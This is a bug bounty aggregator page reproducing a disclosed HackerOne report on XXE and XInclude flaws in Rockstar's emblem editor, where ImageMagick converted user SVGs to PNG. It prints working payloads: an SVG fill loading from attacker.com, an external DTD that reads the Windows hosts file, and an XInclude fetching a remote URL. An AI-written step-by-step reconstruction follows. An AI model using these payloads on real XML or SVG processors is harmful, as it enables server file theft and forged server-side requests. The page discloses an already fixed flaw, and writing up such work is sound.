Skip to content
XXE Disclosed report Intermediate

LFI and SSRF via XXE in emblem editor

The emblem editor's SVG-to-PNG conversion using ImageMagick was vulnerable to XXE and XInclude attacks, allowing an attacker to read local files and make server-side requests. The attacker could extract text files from the server and HTTP responses by rendering them on a crew emblem.

alexbirsan Follow

Originally disclosed on HackerOne

Bounty$1,500 Critical View original
  • Triaged in 13 hours
  • Fixed in 32 days
  • Paid in 32 days
  • Disclosed after 3 months

Summary by the program

This summary is provided by the researcher who submitted this report, @alexbirsan .


About one year after I started messing with the emblem editor, I finally found a full SSRF and LFI. I was able to extract text files from the server and HTTP responses by rendering them on my crew emblem.

For those of you who are not familiar with the emblem editor, the interesting part is a SVG to PNG conversion using user supplied input. The main pieces of my exploit were mostly quirks in the ImageMagick version used by Rockstar:

  1. Double forward slash to reference an SMB path:

    XML
    <rect fill=“url(//attacker.com/malicious.svg#exploit)”>
    

    This allowed me to bypass a regex filter and load arbitrary SVG data into ImageMagick by hosting an external SVG image on my server.

  2. Classic XXE:

    XML
<!DOCTYPE svg [ <!ENTITY % outside SYSTEM "http://attacker.com/exfil.dtd">

%outside; ]> <svg> <defs> <pattern id="exploit"> <text x="10" y="10"> &exfil; </text> </pattern> </defs> </svg>

    **exfil.dtd**

    ```xml
<!ENTITY % data SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts">
<!ENTITY exfil "%data;">
This particular version of ImageMagick was vulnerable to a regular XXE attack. By referencing a malicious external DTD in my hosted SVG file, I could extract text files, http responses, or even files from remote shares (again, using `//`).
  1. Bonus method - XIncludes

    XML
<text x="10" y="10"> <xi:include href="https://www.google.com/" parse="text"/> </text>
It turns out XIncludes were also supported here. This allowed me to get the same results as the XXE method, but it's a bit more reliable and straight-forward.

The final POC looked like this:


## Summary by the researcher

About one year after I started messing with the emblem editor, I finally found a full SSRF and LFI. I was able to extract text files from the server and HTTP responses by rendering them on my crew emblem.

For those of you who are not familiar with the emblem editor, the interesting part is a SVG to PNG conversion using user supplied input. The main pieces of my exploit were mostly quirks in the ImageMagick version used by Rockstar:

1. Double forward slash to reference an SMB path:

    ```xml
    <rect fill=“url(//attacker.com/malicious.svg#exploit)”>
    ```
    This allowed me to bypass a regex filter and load arbitrary SVG data into ImageMagick by hosting an external SVG image on my server.

2. Classic XXE:

    ```xml
    <!DOCTYPE svg [
    <!ENTITY % outside SYSTEM "http://attacker.com/exfil.dtd">
    %outside;
    ]>
    <svg>
      <defs>
        <pattern id="exploit">
          <text x="10" y="10">
            &exfil;
          </text>
        </pattern>
      </defs>
    </svg>
    ```
    
    **exfil.dtd**
    ```xml
    <!ENTITY % data SYSTEM "file:///C:/Windows/system32/drivers/etc/hosts">
    <!ENTITY exfil "%data;">
    ```

    This particular version of ImageMagick was vulnerable to a regular XXE attack. By referencing a malicious external DTD in my hosted SVG file, I could extract text files, http responses, or even files from remote shares (again, using `//`).

3. Bonus method - XIncludes
   
    ```xml
    <text x="10" y="10">
        <xi:include href="https://www.google.com/" parse="text"/>
    </text>
    ```
    
    It turns out XIncludes were also supported here. This allowed me to get the same results as the XXE method, but it's a bit more reliable and straight-forward.

The final POC looked like this:

The original report as published on HackerOne, by alexbirsan. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the ImageMagick version used by Rockstar allowed external entity expansion (XXE) and XInclude processing in SVG input, and a regex filter could be bypassed with a double forward slash to load external SVGs.

Impact

An attacker could read local text files and fetch HTTP responses, and could also retrieve files from remote shares.

What the attacker needed

Access to emblem editor; ability to host external files

How it was found

  1. Host a malicious SVG file on an attacker-controlled server.
  2. Use a double forward slash in a fill attribute to bypass a regex filter and load the external SVG into ImageMagick.
  3. Include an XXE payload in the SVG that references an external DTD hosted on the attacker's server.
  4. The external DTD defines an entity that reads a local file (e.g., the hosts file) and exfiltrates it via another entity.
  5. Render the emblem to trigger the conversion, causing the file contents to appear in the rendered image.
  6. Alternatively, use an XInclude element to include a remote URL or local file directly.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The emblem editor lets users upload SVG images, which are converted to PNG on the server. The conversion tool (ImageMagick) was tricked into reading local files and fetching remote URLs because it processed external entities and includes in the SVG. This let an attacker see files on the server and make the server visit other sites.

What is XXE?

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.

More by alexbirsan

View all

11 more disclosed reports, best first.

More from Rockstar Games

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.